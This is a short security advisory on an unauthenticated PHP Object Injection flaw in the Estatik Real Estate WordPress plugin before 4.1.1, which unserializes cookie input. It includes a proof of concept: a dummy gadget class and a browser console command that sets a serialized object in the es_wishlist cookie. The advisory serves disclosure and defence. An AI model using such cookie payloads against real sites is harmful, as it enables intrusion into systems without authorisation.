Estatik Real Estate Plugin < 4.1.1 - Unauthenticated PHP Object Injection

Description The plugin unserializes user input via some of its cookies, which could allow unauthenticated users to perform PHP Object Injection when a suitable gadget chain is present on the blog

PoC

To simulate a gadget chain, put the following code in a plugin: class Evil { public function __wakeup() : void { die(“Arbitrary deserialization”); } } Then, run the below command in the developer console of the web browser while being on the blog as unauthenticated and reload the page to see the Arbitrary deserialization message. document.cookie=‘es_wishlist=O:4:“Evil”:0:{}’